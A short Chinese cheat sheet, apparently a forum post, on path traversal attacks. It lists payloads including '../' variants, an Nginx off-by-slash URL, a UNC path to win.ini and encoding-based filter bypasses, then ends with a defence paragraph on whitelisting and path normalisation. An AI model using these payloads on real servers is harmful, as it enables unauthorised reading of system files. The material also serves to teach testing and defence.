攻击载荷
URL参数
../
..\
..;/
Nginx Off by Slash
https://vuln.site.com/files../
UNC Bypass
\\localhost\c$\windows\win.ini
过滤绕过
- 单次替换
...//
- URL编码
- 16位Unicode编码
\u002e
- 超长UTF-8编码
\%e0%40%ae
防御
在进行文件操作相关的API前,应该对用户输入做过滤。较强的规则下可以使用白名单,仅允许纯字母或数字字符等。 若规则允许的字符较多,最好使用当前操作系统路径规范化函数规范化路径后,进行过滤,最后再进行相关调用。
没有回复内容